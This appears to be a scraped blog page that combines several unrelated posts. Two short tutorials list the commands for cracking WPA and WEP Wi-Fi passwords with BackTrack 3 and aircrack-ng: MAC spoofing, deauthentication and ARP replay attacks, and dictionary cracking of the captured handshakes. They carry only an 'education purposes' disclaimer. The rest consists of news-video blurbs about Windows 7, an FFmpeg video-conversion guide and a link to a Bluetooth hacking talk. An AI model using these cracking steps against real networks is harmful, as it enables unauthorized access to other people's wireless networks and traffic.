HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.

Steps:

1. airmon-ng stop wlan0
2. ifconfig wlan0 down
3. macchanger --mac 00:11:22:33:44:55 wlan0
4. airmon-ng start wlan0
5. airodump-ng wlan0
6. airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
7. aireplay-ng -0 5 -a (bssid)wlan0
8. aircrack-ng (filename-01.cap)-w (dictionary location)

BackTrack links

• BackTrack 4 Beta Hard Disk Install
• HowTo: Crack WEP with BackTrack 3
• How To Install Backtrack4 Using Grub On Ubuntu
• How to install BT4 dualboot xp on your HDD without vmware or dvd disks
• Backtrack 4 – USB/Nessus Boot with Persistent Changes
• How to make Backtrack 4 boot from USB
• Installing Backtrack 3 to a harddrive
• HowTo: Backtrack 4 (Pre Release) Hard Drive Installation
• Installing Backtrack 3 to a harddrive
• BT4 Install: Simplest way to install BackTrack4

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes.

Steps:

1. airmon-ng stop wlan0
2. ifconfig wlan0 down
3. macchanger --mac 00:11:22:33:44:55 wlan0
4. airmon-ng start wlan0
5. airodump-ng wlan0
6. airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
7. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
8. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
9. aircrack-ng -b (bssid) (filename-01.cap)

BackTrack links

• BackTrack 4 Beta Hard Disk Install
• HowTo: Crack WPA with Backtrack 3
• How To Install Backtrack4 Using Grub On Ubuntu
• How to install BT4 dualboot xp on your HDD without vmware or dvd disks
• Backtrack 4 – USB/Nessus Boot with Persistent Changes
• How to make Backtrack 4 boot from USB
• Installing Backtrack 3 to a harddrive
• HowTo: Backtrack 4 (Pre Release) Hard Drive Installation
• Installing Backtrack 3 to a harddrive
• BT4 Install: Simplest way to install BackTrack4

Attack Of The Droid

Google rides a wave of better than expected results and buzz about its new mobile phone operating system. (Bloomberg News)

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Windows 7 Global Launch

Windows 7, Microsoft's newest operating system goes on sale around the world. (Bloomberg News)

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Microsoft Windows 7 OS Takes Off

High hopes for Microsoft's latest operating system platform, Windows 7. Components communities keep their fingers crossed. (The Trade)

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Microsoft Windows 7 OS Faces Piracy

Microsoft feels strongly about piracy, especially in China, and faces this problem head on. (The Trade)

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Microsoft Launches Retail Store

Microsoft takes a new financial risk by getting into retail despite the economy. (The Trade)

This Bloomberg video brought to you by News Distribution Network.

How to Convert a Flash Video File (.flv) to MP4 with FFMpeg

1. Download Flash Video using something like Video DownloadHelper (plugin for FireFox) or KeepVid.
2. Now you have the file you want; it's time to convert the .flv file to something a little easier to work with. 
3. FFMpeg is very easy to use and can be downloaded here.
4. Open a command prompt.
• Note: It may be easiest to place the .flv file in the same folder as ffmpeg.exe.
5. In the command line enter "ffmpeg -i FILE_NAME.flv -ar 22050 NEW_FILE_NAME.mp4".
• This basically says "Using ffmpeg, take the file FILE_NAME.flv, change the sample rate (this is the -ar 22050 part, and it makes a world of difference to the audio quality), and output a file called NEW_FILE_NAME in the mp4 format."

Instead of mp4, you could output an avi, wmv, mpg, or almost any other video file, or eve audio file like mp3.

That's it. Now you have your converted video file.

Download ffmpeg.exe for Windows (direct link) (8.5MB)

Tips

• Save the line of code (ffmpeg -i FILE_NAME.flv -ar 22050 NEW_FILE_NAME.mp4) in a text document or text file for easy access.
• You can then Extract Audio from MP4 Files with AOA Audio Extractor and Remove Unnecessary Audio with Audacity if you want.

More:

• Use Google to find FREE music on the web
• Download mp3 (music) files with wget
• Converting Audio/Videos using FFMPEG
• Download the latest FFmpeg Windows Builds (ffmpeg.exe compiled for Windows).

Bluetooth Hacking Video

Bluetooth Hacking – LIVE DEMO (video) from the 23rd Chaos Communication Congress.